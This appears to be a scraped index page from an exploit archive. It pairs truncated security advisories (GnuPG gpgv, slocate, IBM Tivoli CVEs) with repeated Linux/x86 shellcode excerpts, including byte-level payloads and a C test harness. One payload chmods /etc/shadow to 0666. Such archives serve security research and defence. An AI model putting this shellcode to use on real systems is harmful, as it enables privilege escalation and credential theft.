USN-252-1: gnupg vulnerability

Tavis Ormandy discovered a potential weakness in the signature verification of gnupg. gpgv and gpg --verify returned a successful exit code even if the checked file did not have any signature at all. The recommended way of checking the result is to evaluate the status messages, but some third par...

CVE-2006-0455

gpgv in GnuPG before 1.4.2.1, when using unattended signature verification, returns a 0 exit code in certain cases even when the detached signature file does not carry a signature, which could cause programs that use gpgv to assume that the signature verification has succeeded. Note: this also...

CVE-2006-0455

gpgv in GnuPG before 1.4.2.1, when using unattended signature verification, returns a 0 exit code in certain cases even when the detached signature file does not carry a signature, which could cause programs that use gpgv to assume that the signature verification has succeeded. Note: this also...

linux/x86 normal exit with random so to speak return value 5 bytes

linux/x86 normal exit w/ random so to speak return value 5 bytes. Shellcode exploit for linx86 platform / linux/x86 normal exit w/ random so to speak return value - 5 bytes - izik / char shellcode = "\x31\xc0" // xor %eax,%eax "\x40" // inc %eax "\xcd\x80"; // int $0x80 int mainint argc, char arg...

linux/x86 eject cd-rom (follows /dev/cdrom symlink) + exit() 40 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 eject cd-rom follows /dev/cdrom symlink + exit 40 bytes ===================================================================== / linux/x86 eject cd-rom follows...

linux/x86 eject cd-rom follows /dev/cdrom symlink + exit 40 bytes

linux/x86 eject cd-rom follows /dev/cdrom symlink + exit 40 bytes. Shellcode exploit for linx86 platform / linux/x86 eject cd-rom follows "/dev/cdrom" symlink + exit - 40 bytes - izik / char shellcode = "\x6a\x05" // push $0x5 "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx...

linux/x86 normal exit w/ random (so to speak) return value 5 bytes

No description provided by source. / linux/x86 normal exit w/ random so to speak return value - 5 bytes - izik [email protected] / char shellcode = "\x31\xc0" // xor %eax,%eax "\x40" // inc %eax "\xcd\x80"; // int $0x80 int mainint argc, char argv int ret; ret = int &ret + 2; ret = int shellcode; //...

linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes

linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes. Shellcode exploit for linx86 platform / linux/x86 chmod"/etc/shadow", 0666 + exit - 32 bytes - izik / char shellcode = "\x6a\x0f" // push $0xf "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\x66\xb9\xb6\x01" // mov $0x1b6,%cx...

linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

Exploit for linux/x86 platform in category shellcode ==================================================== linux/x86 chmod/etc/shadow, 0666 + exit 32 bytes ==================================================== / linux/x86 chmod"/etc/shadow", 0666 + exit - 32 bytes - izik / char shellcode = "\x6a\x0...

linux/x86 eject cd-rom (follows /dev/cdrom symlink) + exit() 40 bytes

No description provided by source. / linux/x86 eject cd-rom follows "/dev/cdrom" symlink + exit - 40 bytes - izik [email protected] / char shellcode = "\x6a\x05" // push $0x5 "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\xb5\x08" // mov $0x8,%ch "\x68\x64\x72\x6f\x6d" // push...

linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes

Exploit for linux/x86 platform in category shellcode ===================================================================== linux/x86 quick yet conditional, eax != 0 and edx == 0 exit 4 bytes ===================================================================== / linux/x86 quick yet conditional, e...

linux/x86 normal exit w/ random (so to speak) return value 5 bytes

Exploit for linux/x86 platform in category shellcode ================================================================== linux/x86 normal exit w/ random so to speak return value 5 bytes ================================================================== / linux/x86 normal exit w/ random so to speak...

linux/x86 quick yet conditional, eax != 0 and edx == 0 exit 4 bytes

linux/x86 quick yet conditional, eax != 0 and edx == 0 exit 4 bytes. Shellcode exploit for linx86 platform / linux/x86 quick yet conditional, eax != 0 and edx == 0 exit - 4 bytes - izik / char shellcode = "\xf7\xf0" // div %eax "\xcd\x80"; // int $0x80 int mainint argc, char argv int ret; ret = i...

linux/x86 _exit(1); 7 bytes

Exploit for linux/x86 platform in category shellcode =========================== linux/x86 exit1; 7 bytes =========================== / exit-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular remote exploits. I use it when I need a process to exit cleanly. / char...

security flaw

slocate before 2.7 does not properly process very long paths, which allows local users to cause a denial of service updatedb exit and incomplete slocate database via a certain crafted directory structure...

security flaw

slocate before 2.7 does not properly process very long paths, which allows local users to cause a denial of service updatedb exit and incomplete slocate database via a certain crafted directory structure...

linux/x86 examples of long-term payloads hide-wait-change (.s)

No description provided by source. ============================================================================================= hide-wait-change final v4 ------------------------------------------------------------------------------------------- Author: xort [email protected] Date: 09/14/2005...

linux/x86 examples of long-term payloads hide-wait-change .s

linux/x86 examples of long-term payloads hide-wait-change .s. Shellcode exploit for linx86 platform ============================================================================================= hide-wait-change final v4...

CVE-2005-2170

The LCF component lcfd in IBM Tivoli Management Framework Endpoint allows remote attackers to cause a denial of service process exit and connection loss by connecting to LCF and ending the connection without sending any data...

CVE-2005-2170

The LCF component lcfd in IBM Tivoli Management Framework Endpoint allows remote attackers to cause a denial of service process exit and connection loss by connecting to LCF and ending the connection without sending any data...